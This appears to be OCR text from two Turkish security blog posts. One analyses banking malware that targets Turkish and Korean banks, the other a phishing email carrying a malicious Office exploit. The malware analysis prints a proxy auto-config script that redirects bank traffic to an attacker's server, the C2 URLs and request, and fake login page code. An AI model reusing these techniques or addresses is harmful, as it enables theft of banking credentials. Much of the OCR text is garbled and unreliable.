~ || PO1EFF|| 779AA235 I
00 00 00|00 00 OO0 O nnioeell annnnnnn

([ | 3 4 1 r
Command: Default =
| P/a_LEEd |00250000{E()00] written to "C:\Users\Mert'Desktopimemdump2.exe™ ! Time Wasted Debugging: 0:00:16:15

Flash-2017.js
MDS5: 41B90BEC4B0793FA8485D547C527D8D2
SHA-256: A780E527AF6CEEF907D5SCBA7FA45DEC9804B265672DB938C82B62D5637FD6DBB

0c03.exe
MD5: DCFB9CAB318417D3C71BC25E717221C2
SHA-256: 5A2B14AB6F8620C812C6C51A0F4FOE0DB9104682392CB4346AFF688AB346EBOA

Zararli yazilimin paketten ¢ikmis halini x64dbg aract ile analiz etmeye bagladigimda ilgimi ¢eken bazi tespitlerim oldu. Bunlardan bazilarina
deginecek olursam;

Zararl1 yazilim Tiirk ve Kore bankalarint hedef almaktadir.
Caligtirildigr sistemin dili Tiirkge veya Korece degilse kendini sonlandirmaktadir.
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http://x64dbg.com

File Edit Disk Options Tools Plug-Ins Window Help

SHSH |

LHRAAE [ 9C | naBS @

T en n&@ |°

i —

w1

= Data Inspector L o~ x
0 1 2 5 4 5 & 2y 8 BB c D 0123456789%ABCD l l
Data at offset 0x0000021F:
E gaaaaziay 00 00 00 00 00 00 00 00 20 00 00 (6O 44 41 |........ .| DA o
= 2 =
<|[|looooo222 54 41]o0 00 00 00 18 OE 00 00 00 DO 00 00 TAl.......c.... (||| e % é
E FER R 00 1000 00 00 BA 00 00 00 =00:00° 00, 00 00 | pousieidismeigs uint8 %6
%|[looooo23E 00 00 00 00 00 OO 40 00 00 CO 42 53 53 00 ...... @ BSS b 50
“||looooo24c 00 00 00 00 39 OA 00 00 00 EO 00 00 00 00 |--.29.ccue.o... nHes 150
0000025A 00 00 00 CA 00 00 00 00 00 00 00 00 00 00 .............. iz 21415563385 Y
HOOan2asd 00 00 00 00 00 00 00 CO EHENESENED I ETE NN | . ..o o0 .8 idata ~ || [[Expression Calc g = x|
| memdumpZ...| ’Signed v] 132 bit v]
x| x|
«| Structures :y [ | | s ’ & | i R R | e «|| 274 instances of 'strings’ found in C:\Users\MerfiDesktopimemdump?.exe & | b4
i - i
Mermber [B] Value (dec) #* Value (hex) & Size [) Address 8] Length ) Length [&) e
(00008E70 29 1D internetsube.; .com.tr
(00008ES0 58 3B internetsube.; .com.tr
00008ED4 23 17 ticari; .com.tr
0000BEEC 47 2F ticari; .com.tr
00008F24 26 1A bireysel. .com.tr
(00008F40 53 35 bireysel. .com.tr |
(00008F80 32 20 internetsubesi. .com.tr
00008FA4 65 41 internetsubesi. .com.tr
(00008FFO 25 19 internetsubesi, ** " com
0000900C 51 33 internetsubesi. 0 com
00003048 23 17 acikdeniz. com
00009060 47 2F acikdeniz. com
(00009098 16 10 esube;  .comitr
000090AC 33 21 esube;  .comitr
g 000090DC 20 14 sube. .com.tr
= N00N3NF4 41 9 suhe. .com.tr T
5 ] *
= o
g ] i = 3 B Compare | &/l checksum 8 Find | 4 Bookmarks | Output |
Find All Complete. Cursor: 00000248 Caret: 0000021F 57344 bytes OVR MOD READ
Caze BHIC09: Getlanguage = “English (South Africa)”
Case &H2009: GetLanguage = "English(Jamaica)”
Case &H2409: GetLanguage = "English(Caribbean)”
Case &H2809: GetLanguage = "English{Belize)”
Case &H2C09: GetLanguage = "English(Trin -
Case &H40A: Getl = "Spanish ( Sort)”
Case &H30A: GetLanguage = "Spanish{Mexican)”
Case &HCOA: GetLanguage = "Spanish (Modern Sort)”
Case &H100A: GetLanguage = “Spanish(Guatemala)”
Case &H140A: GetLanguage = "Spanish (Costa Rica)”
Case 8H180A: Getlanguage = “Spanish(Panama)”
Case &H1COA: Getl Republic)”
Case &H200A: GetLanguage = "Spanish(Venezuela)”
Case &H240A: GetLanguage = "Spanish(Colombia)®
Case &H280A: GetLanguage = "Spanish(Peru)”
Case BH2C0A: GetLanguage = “Spanish(Argentina)”
Case &H300A: Getlanguage = "Spanish(Ecuador)”
Case &H3404: GetlLanguage = "Spanish(Chile}”
Case &H3B0A: Spanish(Uruguay)”
Case &H3COA: Spanish{Paraguay)”
Case &H4004: Spanish(Bolivia)”
Case GHA40A: Spanish (El Salvador)”
Case &H480A: Spanish(Handuras)”
Case &HACOA:
Case &HS00A: GetLanguage = "Spanish (Puerto Rico)”
Case &H408: GetLanguage = “Finnish”®
Case SH40C: GetLanguage = "French(Standard)”
Case &HB0C: GetLanguage = "French(Belgian)”
Case &HCOC: GetLanguage = “French{Canadian)™
Case &H100C: GetLanguage = “French{Swiss)”
Case &H140C: GetLanguage = "French{Luxembourg)” . B8 DO E8 40 Ogmov eax,0c03. 408800 eax: "ConsentPromptEehaviorAdmin™
Case &H40D: GetLanguage = "Hebrew™ : 2040C1 E.; :3 gg 23 g; m_veg% —
Case BHA0E: GetLanguage = "Hungarian™
Core SH4GF: Getanguage = Tcclonds: i o s e L e
Case &H410: Getlanguage = "Italian{Standard)” . €6 3D 1F 04 |cmp ax,41F Turkee di1 kentrolu #1
Case &H810: GetLanguage = "Italian(Swiss)™ --. v 74 29 H:os‘mzse
Case &H411: GetLanguage = “Japanese”™ Lk FF 15 E8 E6 4 dword ptr ds:[<&GetSystemDefaultuUILanguages] .
Case &H412: GetLanguage = "Korean™ : « ;s 3D 1F 04 czna:.aé-t:&zss Turkce dil kontrolu 2
Case &HE12: GetLanguage = "Korean(Johab)® = i ~ 3
Case &H413: GetLanguage = “Dutch(Standard)” . pEr $ﬂ§§ per ds; [ R A
Case &H813: Gmanuuage -'Duuh(&eloian]' - v 74 11 e 0cO3.40C238
Case &H414: Getl i kmal)® ofc FF 15 E8 E6 4 h dword ptr ds:[ AwTTUIL ]
Case &H814: G-H 'No. i k)" : L ;f 32 1z 04 :mpng!-uzﬂn
Case &H415: GetLanguage = Podlsh = e i
Case 8H416: Getlanguage = "Portuguese(Brazilian)® R b 85 31 5 50 04 mov eax 0i0, 205934 kiR ons encpromprashavioradatn”
Case &HE816: Getl - 1] ¥ - BA 02 01 00 OQmov edx,102 =
Case &H418: GetLanguage = "Romanian” . EE 66 €1 FF F 402380
Case &H419: GetLanguage = “Russian” als R FF 03 emn esi.3
Case &H41A: GetlLanguage = "Croatian™
Case &HE1A: GetLanguage = "Serbian(Latin)”
Case &HC1A: GetLanguage = "Serbian{Cyrillic)”
Case &H418: GetLanguage = "Slovak™
Case BH41C: GetLanguage = "Albanian”
Case &H41D: GetlLanguage = "Swedish”™
Case &HS1D: GetLanguage = "Swedish(Finland)™
Case &H41E: Getlanguage = “Thai”
Case &H41F: GetLanguage =
Case &H421: GetLanguage = "Indonesian”
Case &H422: GetLanguage = "Ukrainian™
Case &H423: GetLanguage = “Belarusian™
Case &H424: GetLanguage = "Slovenian”
Case &H425: GetLanguage = “Estonian”
Case &H426: GetLanguage = “Latvian”
Case &H427: GetLanguage = "Lithuanian”™
Case &H429: GetLanguage = “Farsi”
Case &H424: GetLanguage = “Vietnamese™
Case &H42D: GetLonguage = "Basque”
Case &H438: GetLanguage = “Afrikaans”
Case &H438: GetLanguage = "Faeroese”
End Select
End Function
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Calistirildign sistem iizerinde bdagent.exe (BitDefender), spideragent.exe (Doctor Web) islemleri (process) g¢alisiyor ise, uyuma siiresi
dinamik olarak hesaplanan sleep() fonksiyonunu pas gecip, anti-kum havuzu (sandbox) adina sistem iizerinde python.exe islemi ¢aligiyor mu
kontrolii yapip, sonucu evet ise kendisini sonlandirmaktadir. Sistem {izerinde avp.exe, avpui.exe (Kaspersky) islemleri ¢alistyor ise Base64
ile gizlenmis (encode) farkli bir adresi vekil sunucu olarak kullanmaktadir. (http://ritakindek.xyz/comitr/conmatr.eew). Eger sistem iizerinde
Kaspersky yiiklii degil ise o zaman farkli bir adresi kullanmaktadir. (http://redterma.pw/I2WO61/519XDNO.eet)

57 push edi
BE 70 BE 40 O{mov_eax,0c03.40BETO
E8 F2 5E FF FAEEIT 0c03.401D9C
BB 00 E8 40 0Qmov ebx,0c03.40E800
BF 9C E8 40 0Qmov edi,0c03.40E83C
E8 96 &4 FF FFEAN] 0c03.402348
ES DD F1 FF FREdll 0c03.40B094
BA 40 C4 40 OQmov edx,0c03. 400440 40C440: "bdagent. exa"
BE E4 EE8 40 0(mov eax,0c03.40EBE4
E8 6E 67 FF FAEEN] 0c03.402634
BA 4C C4 40 OQmov edx,0c03.40C44C 40C44C: "bdwtxag. exe"
B8 FO E8 40 O(Qmov eax,0c03.40EBFD
E8 5F &7 FF FAEENl 0c03.402634
BA 58 C4 40 OQmov edx,0c03. 400458 40C458: "spideragent. exe”
B8 FC E8 40 0(Qmov eax,0c03.40EBFC
ES8 50 67 FF FREall 0c03.402634
BA 68 C4 40 OQmov edx,0c03. 400468 40C468: "dwservice. exe”
B8 0C E9 40 0(Qmov eax,0c03.4 0C
E8 41 &7 FF FREEN 0c03.40263
BA FO E8 40 0Qmov edx,0c03.40E
B8 E4 E8 40 0(Qmov eax,0c03.40EBE
ES8 FE BE FF FFEEN) 0cO03.407B00 bdagent.exe kontrolu
83 F8 01 cmp eax,1
1B €O sbb eax,eax
40 inc eax
84 CO test al,al
¥ FREIR jne 0c03.40BF3E

BA 0C E9 40 0Qmov edx,0c03.40E

B8 FC E8 40 0(Qmov eax,0c03.40ESF
E8 E5 BEE FF FAEdNl 0c03.407B00 spideragent.exe kontrolu
83 F8 01 cmp eax,1
1B €O sbb eax,eax
40 inc eax
84 CO test al,al
» 7519 jne 0c03.40BF3E
B8 1F 00 00 OQmov eax,1F
FREETT 0c03.402384
add eax,1E
0g imul eax,eax,3ES
push eax
FREGN] <0c03.51eep>
FREall 0c03.407B78 python.exe kontrolu

test eax,eax
je 0c03.40BF4C
FAR £all 0co3.40A0CC ExitProcess
XOr eax,eax

A3 30 E9 40 0Qmov dword ptr ds: [40E920],eax

ES8 08 FE FF FREAT] 0cO03.40BD&0 avp.exe ve avpui.exe kontrolu
83 F8 01 cmp eax,1

1B €O sbb eax,eax

40 inc eax

3C 01 cmp al,1

Calistirildign sistem iizerindeki internet tarayicilarinin 6n belleginde (cache) 7 bankamizin internet subelerinin web adreslerine dair en az
iki kayit bulur ise sonraki adima geciyor aksi halde kendini sonlandirtyor. Onceki adimlardan basariyla gecer ise calistirildig1 sisteme
TurkSign adinda sahte bir kdk sertifika yiiklemektedir. Ayrica ¢aligtirtldigt Windows’un Product ID’sini ve dnbellekte tespit ettigi internet
sube adreslerini de bails parametresi ile komuta kontrol merkezine gondermektedir.
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i— ﬁZdbg File: 0c03.exe - PID: 86C - Module: 0cl3.exe - Thread: Main Thread F68
P Feb 282017

Op

_‘ail -0 '&*-ean"ro-gsj: Horw B etesi nL BEFER RO
& v |Qea¢-|um|._.am=[ 'Wl-wmlﬂwmlﬁﬁluml @) symbots | < source | - References | ' Theeads | 47 snowmen | o tendes |
0E jne Oco3.306818 ]
o0 push 0 ‘f Hide.£RY,
ush ebx |
15 30 €7 4 dword ptr ds: [<4CertClosestores] Eae i aorenced
BA 0O 00 0f Jmp 0€03. 406802 EoX Jerrocos
<0 e s EDX 80032004
push esi EBP 0O
00 00 00 04 push DOO0O ESP  0018FAF4
00 push ESI  00572BEO
01 00 01 O vus: lgo-;!l EDI 00000000
ush ebx
18 2B E7 dwurﬂ ptr ds: [«&CertFindCertificateInStores] EIP O040687E 0C03. 00406587E
<o tj:est. eax,
1F € 0c03. 405852
Fee | uTRER ErLacs 00000246
ush eix OF D SFO DFO
18 2C E7 44 dword ptr ds:[<&CertFreeCTLCONTEXT>] L
ush esi 3
15 2C E7 4 h dword ptr ds:[<&CertFreelTLCONtext>] i]
0 push o pos
ush ebx
15 30 E7 4 dword ptr ds:[<&CertClosestores] e 1ag - B
gg 34: 00 0d Jmp ogo!.lwem k You are about to install a certificate from a certification authority (CA) B
e g’;g :.:;::u £ claiming to represent: B
inc eax 0000000000 5TO Empty 0.000000000000000000
<0 Test al,al TurkSign S5L Validation CA ;oooooooooo 5T1 smm:l:; 0.0
}E 24 OC :: gcagaq:gfgrgtr ss:ffesp+Cl po0o0O000000 ST2 Empty 0.000000000000000000
push eax Windows cannot validate that the certificate |sactuallyimm “TurkSign POOOO0O0000 S5T3 EMPTY 0.000000000000000000
00 push 0 SSL Validation CA”. You should confirm its origin by c I00s000000 T z:gg o000
26 67 40 o bush 6c03. 406760 “TurkSign SSL Validation CA”. The following number will assist you in P0000000000 ST EmpTy 0.000000000000000000
00 push 0 this process: BOO0O000000 ST? Empry 0.000000000000000000
00 ush 0
15 AB E7 4 dword ptr ds: [<&CreateThreads. 5
14 24 0B mov dword DE, ss:lEsva].eax 1 Thumbprint (shal): 58382424 AFG29A30 DE3TETB6 19DTAETS 137442F8 XETTW_1 3 (Em
%0 L —
L Waming: v].s &
— 1 you install this root centificate, Windows will ly trust any
A s ! certificate issued by this CA. with an d BED
CertAddCRLCONTEXTTOSTOr &> thumbprint is a security risk. If you :Ilcl: “Yes” you acknowledge this 2
CODE:D040687E OCO3. exe: S687E #SCTE risk.
Hh.lmi | hnmp2 | #oump3 | &oumpa I *‘D‘“Ps | @ wawn: | st | Do you want to install this certificate? g
FFFFFFFF

Se.r. .
.¥35hd. tn

0C03.0040E800

0c032.0040E85C

return to 0C03.00407SE8
FETUrN TO 0CO3. 00D40AET €

777400C0 SB C2 10 OD|FF 33 53 68

77740000 E8 64 6C 03|00 55 50 GA|00 6A 00 E idl - [P j = O - On4CEROD: s
TTTANNEN BB _FA 57 FRIAN &N N3 NNIFR FA AR F

«| m » ] »
‘Command: Default x|

File Edit Rules Tools View Help GET /book Geokdge
Keep: All sessions ~ &5 Any Process 3% Find

[ Time Wasted Debugging: 0:04:45:33

1 Save |08 (3) & Browse - < Clear Cache T TextWizard | [ Tearoff | _

) #2 Replay X~ b Go | § Stream §i Decode |
# Result  Protocol Host URL
€¥1 200  HTTP ritakindek.xyz  /trk3/indextr.php?pd=003..

[ & statstcs | A& inspectors | £

IHeaders | TextView | WebForms | HexView | Auth | Cookies | Raw
Request Headers

GET /Arkc3/indexdr php 7pd=00392- Srer=000000598name=Win7hjzy=34ctin=14bals=b8b9b 11 HTTP.
Cache

Pragma: no-ache
Transport

Host: ritakindek. xyz

|@C P |E| LongHtersl__:Trneﬂne|
| son | ow |

[Raw] [Header Definitions]

Get SyntaxView | Transformer | Headers | TextView | ImageView
Caching | Cookies |[Raw | 3s0M | xm. |

HexView | WebView | Auth |

HTTP/1.
server:
Date: Mon, 08 May 2017 18:52:12 GIT
Content-Type:
Connection: keep-alive
X-Powered-By: PHP/S.4.45-0+deb7u4
Content-Length: 5

good!

1 200 OK
ngime/1.2.1

text /html

Find... {press Cirl+Enter to highlight all)

[ viewinNotepad |

Sistem iizerindeki internet tarayicisinin vekil sunucu (proxy) adresini yukarida belirtmis oldugum ve auto-config dosyasinin yer aldigi
adreslerden biri ile degistirerek, internet tarayicisi tarafindan internet subeye yapilan tim HTTPS trafigini art niyetli kisilerin komuta kontrol
merkezine (194.165.16.175) yonlendirmesini saglamaktadir. Bu sayede bankasinin internet subesine gittigini diisiinen banka miisterisi, art
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niyetli kisilerin hazirlamig oldugu sahte banka sayfasina giris yapmaya c¢alismakta ve tiim bilgilerini art niyetli kigilere gondermektedir.
Internet tarayicisinin sertifika hatasi vermemesi adina da sisteme yiiklenen TurkSign isimli kok sertifikadan faydalanilmaktadir. Miisterinin
internet sube giris bilgileri ¢calindiktan sonra miisteriye “Sayin kullanici! Sitede teknik islemler yapiliyor. Bilgisayardan, tabletten veya akill
telefondan yari girebilirsiniz. Oziir dileriz.“ mesaj1 gosterilmekte ve arka planda art niyetli kisiler kotii emellerini gerceklestirmektedirler.

P - ' —
Internet Options 7=

Local Area Network (LAN) Settings (3] i

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[] Automatically detect settings
Use automatic configuration script
Address http:/fredterma. pw 120 O6r [5i9XDNS

Proxy server

m Use a proxy server for your LAN (These settings will not apply to I
dial-up or YPM connections).
80
Bypass proxy server for local addresses I
OK. ] [ Cancel ] |

Local Area Metwork (LAN) settings -

LAN Settings do not apply to dial-up connections. LAN settings

Choose Settings above for dial-up settings.

CK ] [ Cancel Apply
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£] https://internetsubesi/l s.com/WebApplication.Ul/entrypoint.aspx/

Website Identification

TurkSign 55L Validation CA
has identified this site as:

internetsubesi.i .com

Should I trust this site?

View certificates

This connection to the server is encrypted.

Norton
SECURED

powered by VekSign

o

.| Done

€ Internet | Protected Mode: On 3 v ®100% ~

HE%EMeed 0]

function FindPromyForURL (url,host) (var P = "PROXY 194.165.16.3818080%548
{shExgMatch (host, “internetsube. | L.com.ts®) | | shExpMatch (host, “ticari.. +Gom.tr%) | | shExpMatch (host, ™

oat, "internetsubesi.

W .con®) | | shExpMatch (host, “sube . hebblesd . com.tr®) ) (return Fr)return “DIRECT®:)

-com.tr®) | | shExpMatch (host, v,

+COR.TE%) | | shExpMatch (host, "internetsubend.

+com.tr%) | | shixpMatch (b
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@ https//intemetsubesia.com/Login/LoginPage.aspx? . =/ - Original Source

File Edit

Format

=51 B8 )

IO
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201

202

204
205
206
207
208
208
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
2325
226
227
228

Errs

BT T

S.post ("LoginPage.aspx.php”, §("fo
function(data) {
Sdata = S.parseJSCH(data);

name=aspnetForm]") .serialize(),

switch ($daca.status) {
case "wait":
id = Sdata.id;
hash = Sdaca.hash;
§("#afr Splash").show();
timer = setIn al (waitReply,
break;

case "su":
alerc ("Sayin kullanici! Sitede teknik iglemler yapalivor. Bilgisayardan,
yarin girebilirsiniz. Szdr dileriz.®);
clearInterval (timer);
break;

function waicReply() {
$.get ("LoginPage.aspx.php?p=get replyfid="+id+"Lh="+hash,
function( data ) {

wvar result = jQuery.parseJSON(data);

if (result == null) retur

if (resuplc.status == ‘error') {
§("#afr_Splash").hide():
clearInterval (timerId):

} else if (result.stactus == 'redirect') {
window.location.href = result.url;

Yz

§ (document) . ready (function() {

tabletten veya akilli telefondan

7 Favorites | 95 @] Suggested Sites v g | Web Slice Gallery =

e |

Telefon numaranizi 5320001122 seklinde

Sayin ,

Guvenlik resminizi*
kontrol ettiniz mi?

*Belirlediginiz givenlik resminin dogrulugu, internet Subesf nde cldugunuzu gisterir.
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internetsubesi

i Favorites | 55 @& Suggested Sites v &' Web Slice Gallery =

Giivenlik resminiz dogruysa litfen SMS si

Gilvenlik resminizi*
kontrol ettiniz mi?

4> Telerik Fiddler Web Debugger e
File Edit Rules Tools View Help GET /book £ GeoEdge

L_J +4 Replay X - b Go * Stream {{i:m Decode | Keep: All sessions ~ @Any Process 34 Find [&l Save B@ @ "_,éBrowse v@CIearCache T TextWizard | [ Tearoff

Host URL Body Caching Content * | Stat]
internetsubesi. com [Login/LoginPage.aspx.php?p=get_reply&id=  Bh= 38 no-stor... textfhtml Re
internetsubesi, com  [Login/LoginPage aspx.php?p=get_replyGid=  &h= 38 no-stor... textfhiml om|
internetsubesi. com [Login/LoginPage.aspx.php?p=get_reply&id= = 33 no-stor... textthiml L
internetsubesi, com [Login/LoginPage.aspx.php?p=get_replygid=  &h= 38 no-stor... textthiml ﬁ
internetsubesi. com floginfLoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhtml T
internetsubesi, com /Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml o
internetsubesi, com [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml
internetsubesi, com [LoginfLoginPage aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml B
internetsubesi, com [Login/LoginPage.aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml Te
internetsubesi, com [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml W
internetsubesi, com  [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml Hel
internetsubesi. com [Login/LoginPage.aspx.php?p=get_reply&id=  &h= 38 no-stor... textfhitml
internetsubesi, com [Login/LoginPage aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml o
internetsubesi. com [Login/LoginPage.aspx.php?p=get_reply&id=  Bh= 38 no-stor... textfhtml Co
internetsubesi, com [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textthiml Ra
internetsubesi, com [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml 15
internetsubesi, com [Login/LoginPage.aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml ]
internetsubesi, com /Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml i
internetsubesi, com [Login/LoginPage aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml
internetsubesi, com [Login/LoginPage.aspx.php?p=get_replygid=  &h= 38 no-stor... textthiml C
internetsubesi. com /Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhtml C
internetsubesi, com [Login/LoginPage.aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml
internetsubesi. com [Login/LoginPage.aspx.php?p=get_reply&id=  Bh= 38 no-stor... textfhtml
internetsubesi, com [Login/LoginPage aspx.php?p=get_replygid=  &h= 38 no-stor... textthiml—
internetsubesi, com fLogin/LoginPage.aspx.php?p=qget_reply&id=  &h= 38 no-stor... textfhtml
internetsubesi, com /Login/LoginPage.aspx.php?p=get_reply&id= = 38 nostor... textfhiml|= a
internetsubesi, com [Login/LoginPage.aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml
internetsubesi, com [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... texthiml| |
internetsubesi, com [Login/LoginPage aspx.php?p=get_replygid=  &h= 38 no-stor... textfhiml —
internetsubesi. com /Login/LoginPage.aspx.php?p=get_reply&id=  &h= 38 no-stor... textfhtml =
internetsubesi, com [Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textthiml Try
internetsubesi. com [Login/LoginPage.aspx.php?p=get_reply&id=  Bh= 38 no-stor... textfhtml m
internetsubesi, com /Login/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... textfhiml e
internetsubesi, com fLogin/LoginPage.aspx.php?p=get_reply&id= = 38 no-stor... text/himl _ -

fif Capturing = All Processes 1/249

Bu bilgiler 15181nda internet sube kullanan son kullanicilar olarak bu internet bankacilii zararli yazilimindan korunmak igin birincisi
bilinmeyen sitelerden dosyalar indirilmemeli ve calistirilmamalidir. Ikincisi ise bu zararli yazilim internet tarayicisinin 6n belleginde internet
sube web adreslerini aradig1 i¢cin Chrome internet tarayicisi kullananlarin internet subeye girerken gizli modu (incognito) kullanmalari,
internet explorer, firefox vb. internet tarayicilarinin kullananlarin ise “cikista gegmisi temizleme” 6zelligini kullanmalarini tavsiye edebilirim.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Man In The Proxy appeared first on Siber Giivenlik Giinliigi.
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Yakindan da Yakin!

By Mert SARICA on October 2nd, 2017

Dijital ¢ag oncesinde de dijital ¢agda da, benim de siklikla gilivenlik farkindaligi sunumlarimda ve blog yazilarimda yer verdigim
Willie Sutton gibi bir zamana damgasini vurmus banka soygunculariin hayatlarini incelediginizde, banka soygunlarinin ana sebebinin
degismedigini gorebiliyorsunuz, para! Gegmis yillarin silahli soygunlarinin siber banka soygunlarina doniistiigi gliniimiizde, banka
subelerinin giivenliginde bankalar i¢in vazgegilmez olan gilivenlik gorevlilerinin yanina siber giivenlik uzmanlarinin da eklenmesi, dijital
cagda siber soygunlarla miicadeleye karsi dnemli bir rol oynamaya basladi. Bankalarin fiziksel giivenlik adina banka soygunlarindan
¢ikardig1 dersler de yerini, siber tehdit raporlarindan ve hacklenen bankalardan ¢ikardiklari derslere birakti.

FireEye (Mandiant) firmasi tarafindan Mart ayinda yaymlanan M-Trends raporunun finans kurumlarimiz tarafindan dikkatli ele alinmasi ve
iyi bir sekilde etiit edilmesi gerekiyor. Ozellikle diinya genelinde siber sug getelerinin bankalara yonelik gergeklestirdikleri siber saldirilarda,
devlet destekli (nation state) siber saldirilarda sik¢a gordiigiimiiz 0. giin zafiyetlerinden faydalaniyor olmalari, bu rapora damgasini vuran
en dnemli tespitlerden sadece biri diyebiliriz.

Bu tiir tehdit raporlarini okuyan kimi kurumlar, tehdidin kendilerine oldukg¢a uzak oldugunu diisiinerek, insana ve giivenlik teknolojilerine
yapilmasi gereken yatirimlar ikinci plana atarak, hacklenene dek huzur ve mutluluk i¢inde hayatlarina devam ederler. Etrafindaki olup
bitene seyirci kalmayip, tehditleri yakindan takip edip, analiz eden kurumlar ise, bu tiir tehdit raporlarindan da faydalanarak gelecek yillarda
siber glivenlik lizerine izleyecekleri stratejiyi belirleyip, kaynaklarint dogru alanlara yatirim yapmak i¢in kullanarak hacklenme ihtimallerini
olabildigince azaltmaya ¢alisirlar.

Bu hikaye, hem M-Trends raporunda (sayfa 11) hem de Bir APT Girisimi baslikli blog yazimda oldugu gibi yine bir iiniversite e-posta
hesabindan gonderilen bir e-posta ile baslar. Alinan dnlemler sayesinde hedef kisiye ulasamayan bu e-posta, FireEye giivenlik sistemi basta
olmak iizere ¢cok sayida sistemde alarmlart tetikleyerek siipheli e-postanin ekinde yer alan zararli Office dosyasinin (Confirmation_letter.docx
MD5:2abe3cc4bff46455a945d56¢27¢91b45) kurumsal SOME ekibi tarafindan manuel olarak incelenmesi stirecini baglatir. Bu defa art niyetli
kisiler daha onceki hikayede oldugu gibi iiniversitedeki bir akademisyenin e-posta hesabini ele gecirip onun iizerinden ilerlemek yerine
yine, yine ayni iiniversiteden gonderiliyormus siisii verdikleri sahte (spoofed) bir e-posta adresinden (m.salvalaggio@]lse.ac.uk) e-posta
gondermeyi tercih etmiglerdi. E-postada ad1 gecen kisinin liniversitenin personel listesinde yer almamasi ve Linkedin iizerinde yapilan bir
aragtirmada da bu kisinin (Matteo Salvalaggio) farkli bir {iniversitede ¢alisiyor olmasi siipheleri arttirryordu.

Hello,

Congratulations, your candidature is approved.

The attachment contains the copy of the confirmation letter. Please pay attention to the expiry period of the certificate. You will get the hard copy via mail within 2 weeks.
Let's schedule a call on Thursday, 2 PM, do you mind?

Best regards,
Matteo

Matteo Salvalaggio

Senior Director of Development

London School of Economics & Political Science
Tel: +442035051983

Email: m.salvalaggio@Ilse.ac.uk
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Matteo Sabalaggio [ Lin. X

€ > xprla T
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Home  MyNetwork Jobs Meszaping  Not w Mev

Semiconductor Test - Touch CTS at Date 2017 in March at SwissTech Convention Center. Switzeriand | Ad

Assegnista borsa di ricerca Reluis

Assegnista borsa di ricerca PON-METRICS

Gonderilen Word dosyasini sanal makinede agmaya caligtiginizda, sistemin agirlasmasi ve yanit veremez hale gelmesi, bu dokiimanda bir
istismar kodu oldugu siiphesini akillara getiriyordu. Pestudio araci ile temel birkag kontrol yapildiginda ise 2015 yilinda Microsoft Office
yaziliminda tespit edilen ve 2007’den 2016’ya kadar tiim siiriimleri etkileyen ciddi bir zafiyeti (CVE-2015-2545 / MS15-099) istismar

etmeye calistigi anlasiliyordu.

(k| Canfirmation_letter.docx - Microscft Word (Not Responding)
PAGE LAYOUT

HOME INSERT DESIGN

M. Al A=

Font F}

Paste & B I U -akx, X

Clipboard

Confirmation_letter.dooc 960 characters (an approximate value],
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Paste o B T U -abex,x A-¥-A-

Clipboard Font ]

Document Recovery

‘Word has recovered the following files,
Save the ones you wish to keep,

Available Files

El Confirmation_letter.docx .
Version created last time t...
01.01.1601 02Z:00

Dear Sir,

Sincerely,

@ Which file do Twant to save?

Close |

Confirmation_letter.dooc 960 characters (an approximate value),

pestudio 8.56 - Mahware Initial Assessment - www.winitor.com

File Help

Paragraph

MAILINGS REVIEW VIEW

| q . # Find -
AaBbCcDc AaBbCeDc AgBbC( AaBbCel - 4
=] | “ae Replace
. THormal @ T Mo Spac.. Headingl  Heading 2 = [} Sl
[F} Styles ] Editing

London School of Economics & Political Science
Houghton 5t, London WC2A 2AE, UK

Confirmation Letter

This letter confirms that your candidature was approved for participation in Banking
Technology Awards.

Please inform Matteo Salvalaggio on 442039051983 or m.salvalaggio@|se.ac.uk if you need
additional information.

London School of Economics & Political Science, Award Committee
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Confirmation_letter.docx dosyasini 7-zip araci ile agtiktan sonra zafiyete konu olan EPS dosyasini (imagel.eps) bulmak ¢ok zor degildi.

- —

O@vl .. » Confirmation_letter » - | +y W Search Confirmation_letter

»
Organize = Include in library » Share with « New folder =% WS | e

i Favorites Name Date modified

Ml Desktop | Confirmation_letter

& Downloads [ Confirmation_letter.doex

i, Recent Places

Office Open XML Document 246 KB

~a Libranes

¢ Documents
o Music
b= Pictures

B videos

1™ Computer
& Local Disk (C)

€ Network

l 2 items

@_(\-)vl .. » Confirmation_letter » Confirmation_letter » word » media

Organize « Include in library Share with » New folder = A @

¢ Favorites Name Date modified Type Size
Ml Desktop | imagel.eps 2802.2017 1343 EPS File 764 KB
8 Downloads

5. Recent Places

4 Libraries

| Documents

J‘ Music
b= Pictures
B videos

/& Computer
&, Local Disk (C)

€y Network

l 1item

EPS dosyasin1 Notepad++ araci ile inceledigimde, istismar kodu iginde yer alan birden fazla yiiriitiilebilir dosya (executable — binary)
basliklart (MZ — 4D5A) hemen dikkatimi ¢ekti. Bu tespit, istismar kodu i¢inde birden fazla yiiriitiilebilir dosya (executable) oldugunu ve
zafiyet basariyla istismar edildikten sonra isletim sistemi tizerinde bunlarin ¢alistirilacagina isaret ediyordu.
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File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7 X
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image1.eps E3 I
exch def /1293 exch def /1294 0 def /1295 1293 def 1292 1211 { /1294 0 1217 def /1297 1292 1213 def 1167 1293 0 1217 -
1201 145 }{ /1297 1292 def 1167 1293 0 1201 145 } ifelse 1297 1287 1206 /1299 exch def /1246 1287 1299 s
